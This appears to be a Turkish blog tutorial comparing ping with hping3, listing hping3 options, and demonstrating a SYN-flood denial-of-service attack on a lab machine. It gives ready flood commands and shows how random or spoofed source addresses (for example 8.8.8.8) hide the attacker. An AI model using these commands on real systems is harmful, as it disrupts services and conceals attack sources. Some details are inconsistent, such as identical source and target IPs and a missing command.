Ping, bir bilgisayar ağında bir cihaza veya sunucuya erişilebilirliği test etmek için kullanılan bir ağ aracıdır. Ping komutu, bir hedef cihaza küçük veri paketleri gönderir ve hedef cihazın bu paketleri alıp yanıtlamasını bekler. Bu yanıt süresi, genellikle milisaniye cinsinden ifade edilen "ping zamanı" olarak adlandırılır. Ping zamanı, ağ bağlantısının ne kadar hızlı veya yavaş olduğunu anlamak için kullanılır ve ağ bağlantısının sağlamlığını test etmek için kullanışlıdır.
Hping3 Nedir?
Hping3, TCP/IP paketlerini manipüle etmek ve ağ protokollerini test etmek için kullanılan bir araçtır. Bu araç, ağ güvenliği testlerinde, ağ performans testlerinde ve ağ hata ayıklama işlemlerinde kullanılabilir. Hping3'ün esnek ve güçlü özellikleri, ağ yöneticileri, güvenlik uzmanları ve pentester'lar tarafından çeşitli ağ testleri ve güvenlik analizleri için yaygın olarak kullanılmasını sağlar.
Ping ve Hping3' ün Farkları
Ping:
Ping, temel bir ağ aracıdır ve genellikle hedef bir cihaza (genellikle bir IP adresine) ulaşılabilirliği ve erişilebilirliği test etmek için kullanılır.
Ping, ICMP (Internet Control Message Protocol) kullanarak hedef cihaza bir ICMP Echo Request (Ping) mesajı gönderir ve hedef cihazın bu mesaja ICMP Echo Reply (Pong) ile yanıt vermesini bekler.
Ping, genellikle basit bir teyit amaçlı kullanılır ve hedef cihazın yanıt verip vermediğini ve yanıt süresini ölçmek için kullanışlıdır.
Ping, yaygın olarak ağ bağlantısının durumunu kontrol etmek, ağ performansını değerlendirmek ve ağ sorunlarını teşhis etmek için kullanılır.
Hping3:
Hping3, daha gelişmiş ve esnek bir ağ aracıdır ve çeşitli ağ testleri, izleme ve manipülasyon senaryolarını destekler.
Hping3, TCP, UDP, ICMP gibi farklı ağ protokollerini kullanarak özelleştirilmiş paketler oluşturabilir ve bu paketleri ağda gönderebilir.
Hping3, paket oluşturma ve manipülasyon yeteneklerine sahiptir, bu nedenle belirli ağ koşullarını test etmek veya ağ güvenliğini değerlendirmek için kullanılabilir.
Hping3, belirli ağ ayarlarını test etmek, port taraması yapmak, paketlerin erişebilirliğini ve güvenilirliğini kontrol etmek, ağdaki güvenlik açıklarını tespit etmek ve hatta DoS (Denial of Service) saldırıları gibi gelişmiş test senaryolarını gerçekleştirmek için kullanılabilir.
Kurulumu ve Kullanımı
Hping3, linux depolarında otomatik olarak bulunduğu için terminale aşağıdaki komutu yazabilirsiniz.
sudoapt-getinstallhping3
Hping3 kullanımı ve modları hakkında yardım almak için de aşağıdaki komutu kullanabilirsiniz.
--beep: Her eşleşen paket alındığında bip sesi çıkarır.
Mod Parametreleri
Varsayılan Mod (TCP): Varsayılan olarak TCP modunda çalışır.
-0, --rawip: Ham IP modu. Bu mod, hping3'ün paketleri doğrudan IP seviyesinde oluşturmasını ve göndermesini sağlar.
-1, --icmp: ICMP modu. Bu mod, hping3'ün ICMP (Internet Control Message Protocol) paketleri oluşturmasını ve göndermesini sağlar.
-2, --udp: UDP modu. Bu mod, hping3'ün UDP (User Datagram Protocol) paketleri oluşturmasını ve göndermesini sağlar.
-8, --scan: Tarama modu. Bu mod, belirli bir port aralığını taramak için kullanılır. Örneğin, --scan 1-30,70-90 şeklinde belirtilen port aralıklarını taramak için kullanılabilir.
-9, --listen: Dinleme modu. Bu mod, hping3'ün belirtilen bir port üzerinde dinlemesini ve gelen paketleri analiz etmesini sağlar.
IP Parametreleri
-a, --spoof: Sahte kaynak adresi oluşturur.
--rand-dest: Rastgele hedef adres modu.
--rand-source: Rastgele kaynak adres modu.
-t, --ttl: TTL (Time-to-Live) değerini belirler.
-N, --id: ID değerini belirler.
-W, --winid: Win* ID bayt sırasını kullanır.
-r, --rel: ID alanını düzenler.
-f, --frag: Paketleri daha fazla parçaya böler.
-x, --morefrag: Daha fazla parçalar bayrağını ayarlar.
-y, --dontfrag: Parçalamayı önleyen bayrağı ayarlar.
-g, --fragoff: Parçalanma ofsetini belirler.
-m, --mtu: Sanal MTU (Maksimum Transfer Ünitesi) değerini belirler.
-o, --tos: Hizmet tipini belirler.
-G, --rroute: Kayıt rotası seçeneğini içerir ve rota tamponunu gösterir.
--lsrr: Gevşek kaynak yönlendirme ve kayıt rotası ekler.
--ssrr: Sıkı kaynak yönlendirme ve kayıt rotası ekler.
-H, --ipproto: RAW IP modunda kullanıldığında IP protokol alanını belirler.
ICMP Parametreleri
-C, --icmptype: ICMP türünü belirler (varsayılan olarak echo request).
-K, --icmpcode: ICMP kodunu belirler (varsayılan olarak 0).
--force-icmp: Tüm ICMP türlerini gönderir (varsayılan olarak yalnızca desteklenen türleri gönderir).
--icmp-gw: ICMP yönlendirmesi için ağ geçidi adresini belirler (varsayılan olarak 0.0.0.0).
--icmp-ts: --icmp --icmptype 13 (ICMP zaman damgası) için kısayol.
--icmp-addr: --icmp --icmptype 17 (ICMP adres alt ağı maskesi) için kısayol.
--icmp-help: Diğer ICMP seçenekleri için yardımı görüntüler.
TCP/UDP Parametreleri
-s, --baseport: Temel kaynak portunu belirler (varsayılan olarak rastgele).
-p, --destport: [+][+]<port> hedef portunu belirler (varsayılan olarak 0) Ctrl+Z artış/azalış.
-k, --keep: Kaynak portunu sabit tutar.
-w, --win: Pencere boyutunu belirler (varsayılan olarak 64).
-Q, --seqnum: Sadece TCP sekans numarasını gösterir.
-b, --badcksum: Paketleri hatalı IP toplamı kontrol toplamı ile gönderir (çok sayıda sistem IP toplamını düzelterek paketi gönderecek. Bu yüzden kötü UDP/TCP toplamı alırsınız).
-M, --setseq: TCP sekans numarasını ayarlar.
-L, --setack: TCP ACK'i ayarlar.
-F, --fin: FIN bayrağını ayarlar.
-S, --syn: SYN bayrağını ayarlar.
-R, --rst: RST bayrağını ayarlar.
-P, --push: PUSH bayrağını ayarlar.
-A, --ack: ACK bayrağını ayarlar.
-U, --urg: URG bayrağını ayarlar.
-X, --xmas: Kullanılmayan X bayrağını (0x40) ayarlar.
-Y, --ymas: Kullanılmayan Y bayrağını (0x80) ayarlar.
--tcpexitcode: Son TCP->th_flags'ı çıkış kodu olarak kullanır.
--tcp-mss: Verilen değerle TCP MSS seçeneğini etkinleştirir.
--tcp-timestamp: HZ/uptime'u tahmin etmek için TCP zaman damgası seçeneğini etkinleştirir.
Genel Parametreler
-d, --data: Veri boyutunu belirler (varsayılan olarak 0).
-E, --file: Dosyadan veri alır.
-e, --sign: 'İmza' ekler.
-j, --dump: Paketleri onaltılık formatta döküm alır.
-J, --print: Basılabilir karakterleri döküm alır.
-B, --safe: 'Güvenli' protokolü etkinleştirir.
-u, --end: --file EOF'a ulaştığında sizi bilgilendirir ve geri sarma işlemini engeller.
-T, --traceroute: Traceroute modunu etkinleştirir (--bind ve --ttl 1'ı ima eder).
--tr-stop: Traceroute modunda ilk ICMP dışında alınan paketle çıkış yapar.
--tr-keep-ttl: Kaynak TTL'yi sabit tutar, sadece bir hopu izlemek için kullanışlıdır.
-V : parametresi ile verbose modunu açıyoruz. Daha detaylı bir gösterimi için.
--scan : parametresi ile tarama yapmak istediğimizi ve port aralığını belirtiyoruz.
Yukarıdaki görsele baktığımızda 53, 80 ve 433 portlarının açık olduğunu gözlemliyoruz.
Hping3 İle DoS Saldırısı
Hping3 aracı ile ağdan büyük miktarda trafik göndererek sistemleri yavaşlatan DoS saldırıları gerçekleştirilebilir.
Basit bir DOS saldırısı;
sudo hping3 -S --flood -V -p 80 192.168.146.130
-S: Syn paketi göndermek için.
-flood: Yanıtları göstermeden paketleri mümkün olduğunca hızlı gönderir.
-V: Daha detaylı bir gösterimi için.
-p 80: Port numarası belirtiyoruz.
Ağdaki 192.168.146.130 ip adresli Windows 10 bir makineyi hedef olarak belirliyorum. Komutu bir süre çalıştırdığımızda aşağıdaki görselde göründüğü gibi CPU ve Ethernet grafiğinde dalgalanmaların arttığı görünüyor. Bu sürede makinede çok fazla donma ve takılmalar meydana geliyor. Saldırıyı durduğumuzda yukarıdaki görselde göründüğü gibi kısa bir sürede 24 milyondan fazla paket gönderildiğini gözlemliyoruz.
Saldırının Wireshark programında görünümü;
Görselde de göründüğü gibi bizim ip adresimizden (192.168.146.129) hedef ip adresine (192.168.146.129) çok sayıda SYN paketinin gittiği gözlemliyoruz. Ama bu şekilde saldırının bizim tarafından yapıldığı belli oluyor. Bunu önlemek için aşağıdaki komutta olduğu gibi --rand-source parametresini kullanabiliriz.
-flood: Yanıtları göstermeden paketleri mümkün olduğunca hızlı gönderir.
Saldırının Wireshark programında görünümü;
Görselde de göründüğü gibi rastgele ip adreslerinde hedefe çok sayıda paketin gittiği ve paketlerin Len değerinin bizim belirlediğimiz gibi 120 olduğunu gözlemliyoruz.
İstersek kaynak ip adresimizi sahte bir ip adresi olarak da değiştirebiliriz.
sudo hping3 -a 8.8.8.8 192.168.146.130 -S -q -p 80--flood
-q: Sessiz modda çalışır.
-a: Sahte kaynak adresi oluşturur.
-flood: Yanıtları göstermeden paketleri mümkün olduğunca hızlı gönderir.
Saldırının Wireshark programında görünümü;
Yukarıdaki görselde de göründüğü gibi kaynak ip adresini değiştirerek paketlerin başka bir ip adresinden gönderildiğini gözlemliyoruz. Bu şekilde saldırı kimliğimizi gizleyebiliriz.